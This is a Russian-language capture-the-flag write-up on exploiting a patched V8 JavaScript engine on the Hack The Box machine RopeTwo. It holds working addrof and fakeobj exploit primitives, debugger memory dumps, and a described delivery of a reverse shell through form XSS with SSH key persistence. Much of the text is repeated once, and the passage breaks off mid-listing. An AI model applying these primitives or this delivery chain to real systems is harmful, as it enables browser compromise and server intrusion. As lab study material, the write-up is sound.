Пожалуйста, обратите внимание, что пользователь заблокирован
Речь, конечно же, пойдет не о цилиндрах и клапанах. В этой статье мы поговорим о Google V8 Engine — движке JS, который стоит в Chromium и Android. Вернее, мы будем ломать его на самой сложной в рейтинге сообщества Hack The Box тачке RopeTwo. Ты узнаешь, какие типы данных есть в движке, как можно ими манипулировать, чтобы загрузить в память свой эксплоит, научишься использовать механизмы отладки V8, узнаешь, что такое WebAssembly и как проникнуть благодаря этому в шелл RopeTwo.
Видим, что открыто всего пять портов TCP. Просканируем их с пристрастием хорошо всем известным сканером Nmap, чтобы узнать подробности.
Видим SSH, три веб‑сервера и неизвестный порт. Идем смотреть, что нам покажет браузер.
На 5000-м портe нас предсказуемо ждет GitLab, мы это видели в отчете Nmap.
На 5000-м порте — приветствие GitLab
На 8000-м порте — веб‑сервер на Python Werkzeug (WSGI) показывает нам простенький сайт по разработке V8 — движка JavaScript с открытыми исходниками, который разрабатывают в Google для использования в браузере Chrome и других проектах. Подробнее о нем можно почитать на официальном сайте.
На 8000-м порте — страница с исходниками и контактами
Прокрутив страницу, видим ссылку http://gitlab.rope2.htb:5000/root/v8, которая ведет на исходный код.
Ссылка на исходный код
На 8060-м порте мы видим 404 Not Found. Порт 9094 на запросы отвечать не хочет.
По традиции добавим найденный домен в /etc/hosts:
Репозиторий с исходниками V8
Мы видим исходные коды V8 и отдельную ветку, созданную автором ВМ, которая содержит один коммит с небольшими изменениями. Очевидно, что эти изменения должны нам помочь. Изменены всего четыре файла, посмотрим на них внимательнее.
Изменения src/builtins/builtins-definitions.h
В файле заголовков добавлены две функции для работы с массивами: ArrayGetLastElement и ArraySetLastElement. CPP — это макрос, который добавляет записи этих функций в массив метаданных.
Изменения src/init/bootstrapper.cc
Инсталлируем прототипы GetLastElement и SetLastElement в качестве встроенных функций.
Изменения src/compiler/typer.cc
Определяем вызовы функций.
Изменения src/builtins/builtins-array.cc
Вот мы и добрались до самого интересного — исходного кода самих функций. Функция GetLastElement конвертирует массив в FixedDoubleArray и возвращает его последний элемент — array[length]. Функция SetLastElement записывает переданное ей значение в последний элемент array[length] с типом float. Попробуй, не читая дальше, догадаться, в чем тут подвох.
Поскольку у меня не было глубоких знаний движка V8, пришлось привлекать на помощь интернет. По ключевым выражениям из приведенных выше исходников я довольно быстро нашел отличный райтап Фараза Абрара Exploiting v8: *CTF 2019 oob-v8, коммит с изменениями в котором как две капли воды похож на наш.
Я уже предвкушал легкую победу, но не тут‑то было. Не буду подробно расписывать весь процесс, так как он детально изложен в райтапе, только кратко затрону основные моменты и остановлюсь подробнее на ключевых отличиях.
Итак, основное отличие в коммитах только в том, что в райтапе за чтение и запись элементов в массив отвечает лишь одна функция, которая выполняет то или иное действие в зависимости от количества переданных ей переменных.
Уязвимость же в них одна и та же. Надеюсь, ты уже догадался, какая? Поскольку адресация массива начинается с 0, то array[length] позволяет нам читать и писать один элемент вне границ массива. Осталось понять, как мы можем это использовать.
Скачиваем diff
Назовем файл v8.diff, в конце добавим дополнительный перенос строки, чтобы git apply не ругался.
Далее выполняем следующие команды (стенд я развернул на Ubuntu 19.04):
Внимание: компиляция каждого релиза может выполняться несколько часов!
Первое, что нам необходимо, — добиться утечки адреса массива. Для этого напишем скрипт, основанный на райтапе Фараза. Смысл в том, чтобы изменить указатель obj_array_map массива obj_array на float_array_map массива float_array, так как структура Map у этих объектов отличается.
Очень важный момент, на котором основана эксплуатация, — в то время как запрос нулевого индекса float_array возвращает значение элемента массива, нулевой индекс obj_array возвращает указатель на объект (который потом преобразуется в значение). И если мы подменим карту (Map) obj_array картой float_array и обратимся к нулевому индексу, мы получим не значение элемента массива, а указатель объекта в виде float! А благодаря найденной уязвимости заменить карту труда не составляет, так как она находится за элементами массива в структуре JSArray.
Пробуем запустить наш скрипт и... получаем SEGV_ACCERR:
Ключ --allow-natives-syntax позволяет выполнять %DebugPrint() — функцию, которая выводит отладочную информацию об объектах в V8.
Тут мне стало интересно, что получится, если я заменю diff с HTB oob.diff. Если хочешь повторить мой эксперимент, создай клон ВМ и выполни команды
Но перед этим необходимо внести следующие правки в oob.diff, так как структура файлов и их содержимое в новой версии немного поменялись.
Также в diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc нужно исправить length()->Number() на length().Number():
Как и следовало ожидать, поменяв в скрипте названия функций на oob и запустив его, я получил тот же результат! Вывод один — произошли изменения в самом движке V8.
Тут надо упомянуть, что в OOB использовалась версия V8 version 7.5.0, а в нашем случае — V8 version 8.5.0. Поэтому просто взять эксплоит, запустить и получить вожделенный шелл не получится.
Пришлось перечитать массу информации, прежде чем пришло понимание: разгадка кроется в компрессии указателей, которая появилась в новой версии V8.
Что это — описано чуть ниже. Сейчас же достаточно понять, что в новой версии элементы массива float_array 64-битные, а obj_array — только 32-битные. Поэтому, чтобы размерность массивов совпадала, нужно добавить еще один элемент в массив obj_array.
Итак, исправим var obj_arr = [obj]; на var obj_arr = [obj, obj];
Segmentation fault больше нет, но адреса не совпадают. Догадываешься почему? Добавив еще один элемент в массив, мы изменили его длину, и функция SetLastElement записывает значение не туда, куда нам требуется (а требуется, как ты помнишь, заменить указатель на объект Map, который расположен в памяти сразу после самих элементов массива).
К счастью, мы можем легко это исправить, добавив строчку obj_arr.length = 1;.
Бинго! Если посмотреть внимательно, то младшие 32 бита совпадают! А старшие не совпадают, как уже был сказано выше, из‑за компрессии указателей.
Не буду описывать, что такое компрессия указателей, Фараз подробно написал об этом в другой статье.
Для наглядности и лучшего понимания я схематично изобразил, как представлен в памяти массив объектов и массив чисел с плавающей точкой (float).
Структура массивов Obj и Float
Если вкратце, этот механизм позволяет повысить производительность движка V8. Старшие 32 бита кучи (heap) всегда оставались одинаковыми при каждом запуске движка. Поэтому разработчики решили, что нет смысла оперировать 64-битными указателями, поскольку это лишняя трата ресурсов, и ввели понятие isolate root — старшие 32 бита адреса, которые всегда одинаковы и хранятся в регистре R13 (его обозвали root register). Поэтому, чтобы получить правильный 64-битный адрес, нам нужно было бы запросить старшие 32 бита в R13. Но это делать необязательно.
Как же нам выйти за пределы 32-битного пространства кучи, спросишь ты? Есть способ, который заключается в создании объекта ArrayBuffer и перезаписи его указателя backing_store. Этот указатель аллоцирует функция PartitionAlloc, которая работает с адресами вне кучи. Поэтому, используя объект DataView для записи в память с перезаписанным backing_store, мы можем получить примитив произвольного чтения и записи!
Окей, у нас есть функция addrof, и, если мы инвертируем ее логику (поменяем местами массив объектов и массив float), мы получим функцию fakeobj, которая поможет нам читать из произвольных участков памяти и писать в них:
Добавим код листинга к предыдущему и посмотрим, что получилось.
Запустим скрипт с помощью отладчика.
Тегирование указателей — это механизм в V8, который нужен для различения типов double, SMI (small integer) и pointer. Из‑за выравнивания указатели обычно указывают на участки памяти, кратные 4 и 8. А это значит, что последние 2–3 бита всегда равны нулю. V8 использует это свойство, «включая» последний бит для обозначения указателя. Поэтому для получения исходного адреса нам нужно вычесть из тегированного адреса единицу.
Пробуем записать второй элемент (указатель на elements) и прочитать его:
Но не тут‑то было, опять получаем Segmentation fault.
Тут я надолго завис с дебаггером, пока не вспомнил о новом размере указателей. Ведь размерность элементов массива float — 64 бита, поэтому при замене карты массива на месте первого элемента float оказывается второй элемент массива obj, в котором размерность элементов — 32 бита. Следовательно, записав адрес в первый индекс массива float, мы получим ссылку на elements массива obj.
Достаточно поменять crafted_arr[2] на crafted_arr[1], и все начнет работать как положено. А чтобы прочитать желаемое значение (нулевого элемента fake), нужно соответственно поменять и смещение elements с 0x10 на 0x08 (так как указатель теперь 32-битный). Пробуем.
Объясню подробнее, как это работает. Создадим массив float и посмотрим на отладочную информацию. Запускать необходимо в дебаг‑релизе, чтобы увидеть подробный вывод %DebugPrint() об адресах.
Видим, что смещение elements от начала структуры JSArray равно 0x28:
Посмотрим на элементы массива, которые находятся в памяти перед структурой JSArray:
Нулевой элемент массива расположен по адресу
Предположим, мы поместим fake_object по адресу 0x274a080c5e30.
Далее если мы заменим в fake_object карту float_arr_map obj_arr_map (при этом мы затираем поле properties, но это некритично), то первый индекс массива crafted_arr будет содержать указатель на элементы fake_object, так как размерность указателей — 32 бита, а элементов массива Float — 64 бита. Поэтому, обратившись к fake_object[0], мы прочитаем значение по адресу, который запишем в первый индекс crafted_arr.
Схематично это можно изобразить так.
Структура массива для произвольного чтения и записи
Что ж, теперь с помощью вспомогательных функций, которые я не буду подробно описывать (в конце раздела будет листинг с комментариями), мы можем писать и читать произвольные адреса!
Осталось найти область памяти, которая бы позволяла еще и выполнить в ней наш код (rwx). И такая область есть, с ней работает модуль WebAssembly.
WebAssembly (сокращенно wasm) — безопасный и эффективный низкоуровневый бинарный формат для веба. Стековая виртуальная машина, исполняющая инструкции бинарного формата wasm, может быть запущена как в среде браузера, так и в серверной среде. Код на wasm — переносимое абстрактное синтаксическое дерево, что обеспечивает как более быстрый анализ, так и более эффективное выполнение в сравнении с JavaScript.
Собрав эксплоит с учетом всех описанных изменений, я вновь получил Segmentation fault.
Область rwx в текущих реализациях движка всегда находится на одинаковом смещении от объекта WasmInstanceObject. В версии 7.5.0 оно равнялось 0x87. Будем выяснять, каково оно в 8.5.0. Для этого создадим простой скрипт wasm.js с объектом wasmInstance и запустим его под отладчиком:
Получили адрес WasmInstanceObject: 0x2f1108250375. Теперь найдем в списке процессов наш скрипт и его PID (ps aux | grep wasm.js) и поищем в его карте памяти области rwx:
Ура, есть такая! Мы получили адрес rwx: 0xb444a6ea000. Осталось найти адрес указателя на эту область, для этого в pwndbg воспользуемся следующей командой:
Указатель расположен по адресу 0x2f11082503dc. Осталось рассчитать смещение:
Заменим его в скрипте. Но есть еще один указатель, смещение которого поменялось, это backing_store.
Чтобы его найти, опять запустим дебаг‑релиз V8 под отладчиком:
Видим значение backing_store: 0x5555556f2e80. Вычислим смещение (я выделил его красным), не забываем о little endian.
Смещение backing_store
Итак, смещение равно 0x14.
Похоже, на этом все, можно пробовать! Готовим наш тестовый пейлоад с помощью утилиты msfvenom. Все, что он делает, — выводит строку «PWNED!».
А вот и финальный код эксплоита с комментариями:
Запускаем наш тестовый эксплоит:
Работает!
Остался последний шаг — разобраться, как его запустить на удаленной машине.
Единственный интерактивный элемент на сайте — это форма обратной связи по адресу http://rope2.htb:8000/contact. Так как V8 — это движок JS, очевидно, что надо как‑то скормить ему наш JavaScript. Запускаем сервер HTTP: python -m http.server 8070 — и вводим во все поля формы
И получаем запрос от сервера! После недолгих экспериментов я выяснил, что запуск скрипта триггерит поле Message.
Проверяем XSS
Теперь дело за малым. Генерируем боевой пейлоад с реверс‑шеллом и вставляем его в наш скрипт.
Кладем скрипт в папку, из которой запущен наш веб‑сервер, запускаем netcat (nc -lnvp 7090) и отправляем форму с запросом скрипта в поле Message.
Наконец‑то долгожданный шелл!
Получаем шелл
Чтобы автоматизировать процесс, я написал пару строк на bash — получившийся файл нужно положить в ту же папку, где лежит скрипт.
Правда, сессия живет не больше минуты — видимо, на сервере срабатывает тайм‑аут. Чтобы сделать себе стабильный шелл, нужно добавить пользователю chromeuser свой ключ SSH:
Надеюсь, было интересно и ты узнал для себя много нового!
Источник: xakep.ru
Автор: artex
РАЗВЕДКА
Начинаем, как всегда, со сканирования портов. Очевидно, что на машине такого уровня необходимо пройтись по всем портам (TCP + UDP 1–65 535). Для этого удобно использовать masscan — быстрый сканер портов:
Код:
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.196 --rate=5000
Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2020-12-21 19:41:59 GMT
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 8060/tcp on 10.10.10.196
Discovered open port 22/tcp on 10.10.10.196
Discovered open port 8000/tcp on 10.10.10.196
Discovered open port 9094/tcp on 10.10.10.196
Discovered open port 5000/tcp on 10.10.10.196
Видим, что открыто всего пять портов TCP. Просканируем их с пристрастием хорошо всем известным сканером Nmap, чтобы узнать подробности.
Код:
nmap -n -v -Pn -sV -sC -p8060,22,8000,9094,5000, 10.10.10.196
...
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Ubuntu 10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 bc:d9:40:18:5e:2b:2b:12:3d:0b:1f:f3:6f:03:1b:8f (RSA)
| 256 15:23:6f:a6:d8:13:6e:c4:5b:c5:4a:6f:5a:6b:0b:4d (ECDSA)
|_ 256 83:44:a5:b4:88:c2:e9:28:41:6a:da:9e:a8:3a:10:90 (ED25519)
5000/tcp open http nginx
|_http-favicon: Unknown favicon MD5: F7E3D97F404E71D302B3239EEF48D5F2
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 55 disallowed entries (15 shown)
| / /autocomplete/users /search /api /admin /profile
| /dashboard /projects/new /groups/new /groups/*/edit /users /help
|_/s/ /snippets/new /snippets/*/edit
| http-title: Sign in \xC2\xB7 GitLab
|_Requested resource was http://10.10.10.196:5000/users/sign_in
|_http-trane-info: Problem with XML parsing of /evox/about
8000/tcp open http Werkzeug httpd 0.14.1 (Python 3.7.3)
| http-methods:
|_ Supported Methods: GET OPTIONS HEAD
|_http-server-header: Werkzeug/0.14.1 Python/3.7.3
|_http-title: Home
8060/tcp open http nginx 1.14.2
| http-methods:
|_ Supported Methods: GET HEAD POST
|_http-server-header: nginx/1.14.2
|_http-title: 404 Not Found
9094/tcp open unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
...
Видим SSH, три веб‑сервера и неизвестный порт. Идем смотреть, что нам покажет браузер.
На 5000-м портe нас предсказуемо ждет GitLab, мы это видели в отчете Nmap.
На 5000-м порте — приветствие GitLab
На 8000-м порте — веб‑сервер на Python Werkzeug (WSGI) показывает нам простенький сайт по разработке V8 — движка JavaScript с открытыми исходниками, который разрабатывают в Google для использования в браузере Chrome и других проектах. Подробнее о нем можно почитать на официальном сайте.
На 8000-м порте — страница с исходниками и контактами
Прокрутив страницу, видим ссылку http://gitlab.rope2.htb:5000/root/v8, которая ведет на исходный код.
Ссылка на исходный код
На 8060-м порте мы видим 404 Not Found. Порт 9094 на запросы отвечать не хочет.
По традиции добавим найденный домен в /etc/hosts:
Код:
10.10.10.196 rope2.htb gitlab.rope2.htb
ПЛАЦДАРМ
Раз нам предлагают посмотреть исходные коды, грех не воспользоваться такой возможностью.
Репозиторий с исходниками V8
Мы видим исходные коды V8 и отдельную ветку, созданную автором ВМ, которая содержит один коммит с небольшими изменениями. Очевидно, что эти изменения должны нам помочь. Изменены всего четыре файла, посмотрим на них внимательнее.
Изменения src/builtins/builtins-definitions.h
В файле заголовков добавлены две функции для работы с массивами: ArrayGetLastElement и ArraySetLastElement. CPP — это макрос, который добавляет записи этих функций в массив метаданных.
Подробнее об этом можно прочесть в документации, в разделе Builtins.
Изменения src/init/bootstrapper.cc
Инсталлируем прототипы GetLastElement и SetLastElement в качестве встроенных функций.
Изменения src/compiler/typer.cc
Определяем вызовы функций.
Изменения src/builtins/builtins-array.cc
Вот мы и добрались до самого интересного — исходного кода самих функций. Функция GetLastElement конвертирует массив в FixedDoubleArray и возвращает его последний элемент — array[length]. Функция SetLastElement записывает переданное ей значение в последний элемент array[length] с типом float. Попробуй, не читая дальше, догадаться, в чем тут подвох.
Поскольку у меня не было глубоких знаний движка V8, пришлось привлекать на помощь интернет. По ключевым выражениям из приведенных выше исходников я довольно быстро нашел отличный райтап Фараза Абрара Exploiting v8: *CTF 2019 oob-v8, коммит с изменениями в котором как две капли воды похож на наш.
Я уже предвкушал легкую победу, но не тут‑то было. Не буду подробно расписывать весь процесс, так как он детально изложен в райтапе, только кратко затрону основные моменты и остановлюсь подробнее на ключевых отличиях.
Итак, основное отличие в коммитах только в том, что в райтапе за чтение и запись элементов в массив отвечает лишь одна функция, которая выполняет то или иное действие в зависимости от количества переданных ей переменных.
Уязвимость же в них одна и та же. Надеюсь, ты уже догадался, какая? Поскольку адресация массива начинается с 0, то array[length] позволяет нам читать и писать один элемент вне границ массива. Осталось понять, как мы можем это использовать.
ПОДНИМАЕМ СТЕНД
Для начала скачиваем diff-файл.
Скачиваем diff
Назовем файл v8.diff, в конце добавим дополнительный перенос строки, чтобы git apply не ругался.
Далее выполняем следующие команды (стенд я развернул на Ubuntu 19.04):
Код:
artex@ubuntu:~/tools$ git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
artex@ubuntu:~/tools$ echo "export PATH=/home/artex/depot_tools:$PATH" >> ~/.bashrc
artex@ubuntu:~/tools$ source ~/.bashrc
artex@ubuntu:~$ fetch v8
artex@ubuntu:~$ cd v8
artex@ubuntu:~/v8$ ./build/install-build-deps.sh
artex@ubuntu:~/v8$ git checkout 458c07a7556f06485224215ac1a467cf7a82c14b
artex@ubuntu:~/v8$ gclient sync
artex@ubuntu:~/v8$ git apply --ignore-space-change --ignore-whitespace ../v8.diff
artex@ubuntu:~/v8$ ./tools/dev/v8gen.py x64.release
artex@ubuntu:~/v8$ ninja -C ./out.gn/x64.release # Release version
artex@ubuntu:~/v8$ ./tools/dev/v8gen.py x64.debug
artex@ubuntu:~/v8$ ninja -C ./out.gn/x64.debug # Debug version
Внимание: компиляция каждого релиза может выполняться несколько часов!
Первое, что нам необходимо, — добиться утечки адреса массива. Для этого напишем скрипт, основанный на райтапе Фараза. Смысл в том, чтобы изменить указатель obj_array_map массива obj_array на float_array_map массива float_array, так как структура Map у этих объектов отличается.
Очень важный момент, на котором основана эксплуатация, — в то время как запрос нулевого индекса float_array возвращает значение элемента массива, нулевой индекс obj_array возвращает указатель на объект (который потом преобразуется в значение). И если мы подменим карту (Map) obj_array картой float_array и обратимся к нулевому индексу, мы получим не значение элемента массива, а указатель объекта в виде float! А благодаря найденной уязвимости заменить карту труда не составляет, так как она находится за элементами массива в структуре JSArray.
JavaScript:
var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
function ftoi(val) {
f64_buf[0] = val;
return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
}
function itof(val) {
u64_buf[0] = Number(val & 0xffffffffn);
u64_buf[1] = Number(val >> 32n);
return f64_buf[0];
}
var obj = {"A":1};
var obj_arr = [obj];
var float_arr = [1.1, 1.2, 1.3, 1.4];
var obj_arr_map = obj_arr.GetLastElement();
var float_arr_map = float_arr.GetLastElement();
function addrof(in_obj) {
obj_arr[0] = in_obj;
obj_arr.SetLastElement(float_arr_map);
let addr = obj_arr[0];
obj_arr.SetLastElement(obj_arr_map);
return ftoi(addr);
}
var arr = [5.5, 5.5, 5.5, 5.5];
console.log(addrof(arr).toString(16));
console.log(%DebugPrint(arr));
Пробуем запустить наш скрипт и... получаем SEGV_ACCERR:
Код:
artex@ubuntu:~/v8/out.gn/x64.release# ./d8 --shell --allow-natives-syntax /mnt/share/v8/leak.js
Received signal 11 SEGV_ACCERR 34b4080406f8
==== C stack trace ===============================
[0x5555562d3f74]
[0x7ffff7faaf40]
[0x5555558b40ff]
[0x5555561cfa18]
[end of stack trace]
Segmentation fault (core dumped)
Ключ --allow-natives-syntax позволяет выполнять %DebugPrint() — функцию, которая выводит отладочную информацию об объектах в V8.
Тут мне стало интересно, что получится, если я заменю diff с HTB oob.diff. Если хочешь повторить мой эксперимент, создай клон ВМ и выполни команды
Код:
artex@ubuntu:~/v8$ git apply -R --ignore-space-change --ignore-whitespace ../v8.diff
artex@ubuntu:~/v8$ git apply ../oob.diff
artex@ubuntu:~/v8$ ./tools/dev/v8gen.py x64.release
artex@ubuntu:~/v8$ ninja -C ./out.gn/x64.release # Release version
Но перед этим необходимо внести следующие правки в oob.diff, так как структура файлов и их содержимое в новой версии немного поменялись.
Код:
diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/init/bootstrapper.cc
+++ b/src/init/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -319,6 +319,7 @@ namespace internal {
TFJ(ArrayPrototypePop, kDontAdaptArgumentsSentinel) \
/* ES6 #sec-array.prototype.push */ \
CPP(ArrayPush) \
+ CPP(ArrayOob) \
TFJ(ArrayPrototypePush, kDontAdaptArgumentsSentinel) \
/* ES6 #sec-array.prototype.shift */ \
CPP(ArrayShift)
Также в diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc нужно исправить length()->Number() на length().Number():
Код:
+ uint32_t length = static_cast<uint32_t>(array->length().Number());
Как и следовало ожидать, поменяв в скрипте названия функций на oob и запустив его, я получил тот же результат! Вывод один — произошли изменения в самом движке V8.
Тут надо упомянуть, что в OOB использовалась версия V8 version 7.5.0, а в нашем случае — V8 version 8.5.0. Поэтому просто взять эксплоит, запустить и получить вожделенный шелл не получится.
Пришлось перечитать массу информации, прежде чем пришло понимание: разгадка кроется в компрессии указателей, которая появилась в новой версии V8.
Что это — описано чуть ниже. Сейчас же достаточно понять, что в новой версии элементы массива float_array 64-битные, а obj_array — только 32-битные. Поэтому, чтобы размерность массивов совпадала, нужно добавить еще один элемент в массив obj_array.
Итак, исправим var obj_arr = [obj]; на var obj_arr = [obj, obj];
Код:
artex@ubuntu:~/v8/out.gn/x64.release# ./d8 --allow-natives-syntax /mnt/share/v8/leak.js
41b0800212000000
0x193108086721 <Array map = 0x193108241909>
Segmentation fault больше нет, но адреса не совпадают. Догадываешься почему? Добавив еще один элемент в массив, мы изменили его длину, и функция SetLastElement записывает значение не туда, куда нам требуется (а требуется, как ты помнишь, заменить указатель на объект Map, который расположен в памяти сразу после самих элементов массива).
К счастью, мы можем легко это исправить, добавив строчку obj_arr.length = 1;.
Код:
artex@ubuntu:~/v8/out.gn/x64.release# ./d8 --allow-natives-syntax /mnt/share/v8/leak.js
80403850808671d
0x0c2b0808671d <JSArray[4]>
5.5,5.5,5.5,5.5
Бинго! Если посмотреть внимательно, то младшие 32 бита совпадают! А старшие не совпадают, как уже был сказано выше, из‑за компрессии указателей.
Не буду описывать, что такое компрессия указателей, Фараз подробно написал об этом в другой статье.
Для наглядности и лучшего понимания я схематично изобразил, как представлен в памяти массив объектов и массив чисел с плавающей точкой (float).
Структура массивов Obj и Float
Если вкратце, этот механизм позволяет повысить производительность движка V8. Старшие 32 бита кучи (heap) всегда оставались одинаковыми при каждом запуске движка. Поэтому разработчики решили, что нет смысла оперировать 64-битными указателями, поскольку это лишняя трата ресурсов, и ввели понятие isolate root — старшие 32 бита адреса, которые всегда одинаковы и хранятся в регистре R13 (его обозвали root register). Поэтому, чтобы получить правильный 64-битный адрес, нам нужно было бы запросить старшие 32 бита в R13. Но это делать необязательно.
Как же нам выйти за пределы 32-битного пространства кучи, спросишь ты? Есть способ, который заключается в создании объекта ArrayBuffer и перезаписи его указателя backing_store. Этот указатель аллоцирует функция PartitionAlloc, которая работает с адресами вне кучи. Поэтому, используя объект DataView для записи в память с перезаписанным backing_store, мы можем получить примитив произвольного чтения и записи!
Окей, у нас есть функция addrof, и, если мы инвертируем ее логику (поменяем местами массив объектов и массив float), мы получим функцию fakeobj, которая поможет нам читать из произвольных участков памяти и писать в них:
JavaScript:
function fakeobj(addr) {
float_arr[0] = itof(addr);
float_arr.SetLastElement(obj_arr_map);
let fake = float_arr[0];
float_arr.SetLastElement(float_arr_map);
return fake;
}
var a = [1.1, 1.2, 1.3, 1.4];
var float_arr = [1.1, 1.2, 1.3, 1.4];
var float_arr_map = float_arr.GetLastElement();
var crafted_arr = [float_arr_map, 1.2, 1.3, 1.4];
console.log("0x"+addrof(crafted_arr).toString(16));
var fake = fakeobj(addrof(crafted_arr)-0x20n);
Добавим код листинга к предыдущему и посмотрим, что получилось.
Запустим скрипт с помощью отладчика.
Код:
artex@ubuntu:~/v8/out.gn/x64.release# gdb d8
pwndbg> r --shell --allow-natives-syntax /mnt/share/v8/fake.js
-
0x804038508086911
V8 version 8.5.0 (candidate)
d8> %DebugPrint(crafted_arr);
0x18c108086911 <JSArray[4]>
[4.73859563718219e-270, 1.2, 1.3, 1.4]
-
pwndbg> x/10gx 0x18c108086911-0x28-1 (игнорируем один бит из-за тегирования)
0x18c1080868e8: 0x0000000808040a3d 0x080406e908241909 <-- нулевой элемент с float_arr_map
0x18c1080868f8: 0x3ff3333333333333 0x3ff4cccccccccccd
0x18c108086908: 0x3ff6666666666666 0x080406e908241909
0x18c108086918: 0x00000008080868e9 0x080869110804035d
0x18c108086928: 0x0804097508040385 0x0808691100000002
Тегирование указателей — это механизм в V8, который нужен для различения типов double, SMI (small integer) и pointer. Из‑за выравнивания указатели обычно указывают на участки памяти, кратные 4 и 8. А это значит, что последние 2–3 бита всегда равны нулю. V8 использует это свойство, «включая» последний бит для обозначения указателя. Поэтому для получения исходного адреса нам нужно вычесть из тегированного адреса единицу.
Пробуем записать второй элемент (указатель на elements) и прочитать его:
JavaScript:
crafted_arr[2] = itof(BigInt(0x18c1080868f0)-0x10n+1n);
"0x"+ftoi(fake[0]).toString(16);
Но не тут‑то было, опять получаем Segmentation fault.
Тут я надолго завис с дебаггером, пока не вспомнил о новом размере указателей. Ведь размерность элементов массива float — 64 бита, поэтому при замене карты массива на месте первого элемента float оказывается второй элемент массива obj, в котором размерность элементов — 32 бита. Следовательно, записав адрес в первый индекс массива float, мы получим ссылку на elements массива obj.
Достаточно поменять crafted_arr[2] на crafted_arr[1], и все начнет работать как положено. А чтобы прочитать желаемое значение (нулевого элемента fake), нужно соответственно поменять и смещение elements с 0x10 на 0x08 (так как указатель теперь 32-битный). Пробуем.
Код:
d8> crafted_arr[1] = itof(BigInt(0x18c1080868f0)-0x8n+1n);
1.3447153912017e-310
-
pwndbg> x/10gx 0x18c108086911-0x28-1
0x18c1080868e8: 0x0000000808040a3d 0x080406e908241909
0x18c1080868f8: 0x000018c1080868e9 0x3ff4cccccccccccd <-- записали адрес для чтения
0x18c108086908: 0x3ff6666666666666 0x080406e908241909
0x18c108086918: 0x00000008080868e9 0x080869110804035d
0x18c108086928: 0x0804097508040385 0x0808691100000002
d8> "0x"+ftoi(fake[0]).toString(16);
"0x80406e908241909" <-- и успешно прочитали значение, на которое он указывает
Объясню подробнее, как это работает. Создадим массив float и посмотрим на отладочную информацию. Запускать необходимо в дебаг‑релизе, чтобы увидеть подробный вывод %DebugPrint() об адресах.
Код:
pwndbg> file d8
Reading symbols from d8...
pwndbg> r --shell --allow-natives-syntax
Starting program: /opt/v8/v8/out.gn/x64.debug/d8 --shell --allow-natives-syntax
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
var a = [1.1, 1.2, 1.3, 1.4];
[New Thread 0x7ffff3076700 (LWP 2342)]
V8 version 8.5.0 (candidate)
d8> undefined
d8> %DebugPrint(a);
DebugPrint: 0x274a080c5e51: [JSArray]
- map: 0x274a08281909 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x274a0824923d <JSArray[0]>
- elements: 0x274a080c5e29 <FixedDoubleArray[4]> [PACKED_DOUBLE_ELEMENTS]
- length: 4
- properties: 0x274a080406e9 <FixedArray[0]> {
#length: 0x274a081c0165 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x274a080c5e29 <FixedDoubleArray[4]> {
0: 1.1
1: 1.2
2: 1.3
3: 1.4
}
...
Видим, что смещение elements от начала структуры JSArray равно 0x28:
Код:
0x274a080c5e51-0x274a080c5e29 == 0x28
Посмотрим на элементы массива, которые находятся в памяти перед структурой JSArray:
Код:
pwndbg> x/10gx 0x274a080c5e51-1-0x28 (игнорируем один бит из-за тегирования)
0x274a080c5e28: 0x0000000808040a3d 0x3ff199999999999a
0x274a080c5e38: 0x3ff3333333333333 0x3ff4cccccccccccd
0x274a080c5e48: 0x3ff6666666666666 0x080406e908281909
0x274a080c5e58: 0x00000008080c5e29 0x82e4079a08040551
0x274a080c5e68: 0x7566280a00000adc 0x29286e6f6974636e
Нулевой элемент массива расположен по адресу
Код:
index 0 == 0x274a080c5e30 == elements + 0x08
Предположим, мы поместим fake_object по адресу 0x274a080c5e30.
Далее если мы заменим в fake_object карту float_arr_map obj_arr_map (при этом мы затираем поле properties, но это некритично), то первый индекс массива crafted_arr будет содержать указатель на элементы fake_object, так как размерность указателей — 32 бита, а элементов массива Float — 64 бита. Поэтому, обратившись к fake_object[0], мы прочитаем значение по адресу, который запишем в первый индекс crafted_arr.
Схематично это можно изобразить так.
Структура массива для произвольного чтения и записи
Что ж, теперь с помощью вспомогательных функций, которые я не буду подробно описывать (в конце раздела будет листинг с комментариями), мы можем писать и читать произвольные адреса!
Осталось найти область памяти, которая бы позволяла еще и выполнить в ней наш код (rwx). И такая область есть, с ней работает модуль WebAssembly.
WebAssembly (сокращенно wasm) — безопасный и эффективный низкоуровневый бинарный формат для веба. Стековая виртуальная машина, исполняющая инструкции бинарного формата wasm, может быть запущена как в среде браузера, так и в серверной среде. Код на wasm — переносимое абстрактное синтаксическое дерево, что обеспечивает как более быстрый анализ, так и более эффективное выполнение в сравнении с JavaScript.
Собрав эксплоит с учетом всех описанных изменений, я вновь получил Segmentation fault.
Область rwx в текущих реализациях движка всегда находится на одинаковом смещении от объекта WasmInstanceObject. В версии 7.5.0 оно равнялось 0x87. Будем выяснять, каково оно в 8.5.0. Для этого создадим простой скрипт wasm.js с объектом wasmInstance и запустим его под отладчиком:
JavaScript:
var code_bytes = new Uint8Array([
0x00,0x61,0x73,0x6D,0x01,0x00,0x00,0x00,0x01,0x07,0x01,0x60,0x02,0x7F,0x7F,0x01,
